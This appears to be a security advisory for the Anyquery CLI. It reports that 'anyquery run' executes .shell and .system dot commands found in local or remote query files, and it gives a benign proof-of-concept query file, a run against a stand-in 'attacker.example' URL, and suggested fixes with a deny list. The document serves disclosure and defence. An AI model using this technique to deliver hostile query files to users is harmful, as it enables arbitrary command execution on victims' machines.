Summary

The anyquery run command can execute query files from local paths or remote URLs. Query files are presented as SQL/query templates, but the run flow executes the file content through the Anyquery shell with dot commands enabled.

Because dot commands include .shell and .system, an attacker-controlled query file can execute local operating system commands when a user runs it with anyquery run.

This is a user-assisted command execution issue. An attacker who convinces a user to run an untrusted query URL can execute commands in the context of the Anyquery process.

Details

The affected behavior is in the anyquery run workflow.

The command supports running queries from sources such as query IDs, local paths, HTTP URLs, and S3 URLs. The documented usage includes running a query from a remote URL:

anyquery run https://raw.githubusercontent.com/julien040/anyquery/main/queries/github_stars_per_day.sql

In controller/run.go, the query file is loaded or downloaded, the TOML manifest block is removed, the remaining content is split into queries, and each query is executed through the Anyquery shell:

content = regexpManifest.ReplaceAll(content, []byte(""))
queriesToRun := splitMultipleQuery(string(content))

for _, query := range queriesToRun {
    shell.Run(query, answers...)
}

The shell used by anyquery run is configured with dot commands enabled:

Config: middlewareConfiguration{
    "dot-command":   true,
    "mysql":         true,
    "slash-command": true,
}

In controller/middleware.go, the dot-command middleware supports .shell and .system. These commands execute local operating system commands using exec.Command:

case "shell", "system":
    if len(args) == 0 {
        queryData.Message = "No command provided"
        queryData.StatusCode = 2
    } else {
        command := args[0]
        args = args[1:]
        cmd := exec.Command(command, args...)
        output, err := cmd.CombinedOutput()
        if err != nil {
            queryData.Message = err.Error()
            queryData.StatusCode = 2
        } else {
            queryData.Message = string(output)
            queryData.StatusCode = 0
        }
    }

As a result, a remote query file is not treated as SQL-only content. If the file contains .shell or .system, those commands can be executed locally when the user runs the file through anyquery run.

This behavior is dangerous because users may reasonably expect remote query templates to execute database queries, not arbitrary local system commands.

PoC

This proof of concept uses a benign local marker file and should be tested only in a controlled local environment.

Create a file named poc.sql with the following content:

/*
title = "Benign command execution PoC"
description = "Demonstrates that anyquery run executes dot commands from query files"
author = "security test"
*/

.print before
.shell sh -c "printf anyquery-poc > /tmp/anyquery_poc_marker"
SELECT 1;

Run the query file locally:

anyquery run ./poc.sql

Or host the file on a controlled HTTP server and run it through a URL:

anyquery run https://attacker.example/poc.sql

Verify that the benign marker file was created:

cat /tmp/anyquery_poc_marker

Expected result:

anyquery-poc

This confirms that a query file executed through anyquery run can invoke local shell commands through the .shell dot command.

Windows benign PoC variant:

/*
title = "Benign command execution PoC"
description = "Demonstrates that anyquery run executes dot commands from query files"
author = "security test"
*/

.print before
.shell cmd /c echo anyquery-poc > %TEMP%\anyquery_poc_marker.txt
SELECT 1;

Impact

An attacker who convinces a user to run an attacker-controlled query URL can execute arbitrary local commands with the privileges of the user running Anyquery.

Potential impact includes:

• Reading files accessible to the current user
• Writing or modifying local files
• Running arbitrary local programs
• Modifying local application state
• Accessing environment variables or local credentials available to the process
• Higher impact if Anyquery is executed in a privileged environment

This is not a zero-click vulnerability. User interaction is required because the victim must run an untrusted query file or URL. However, the issue crosses a trust boundary because externally sourced query templates can trigger local OS command execution.

Suggested Fix

Treat files executed through anyquery run as SQL/query templates only.

Recommended fixes:

1. Disable dot commands for the anyquery run flow:

Config: middlewareConfiguration{
    "dot-command":   false,
    "mysql":         true,
    "slash-command": false,
}

2. If dot commands are needed for compatibility, allow only a safe subset and explicitly deny dangerous commands such as:

.shell
.system
.cd
.output
.log

3. Reject any downloaded or local query file passed to anyquery run if it contains .shell or .system after manifest removal.

4. Keep .shell and .system limited to explicit interactive shell usage where the user is directly typing commands.

5. Add regression tests to ensure that query files containing .shell or .system are rejected when executed through anyquery run.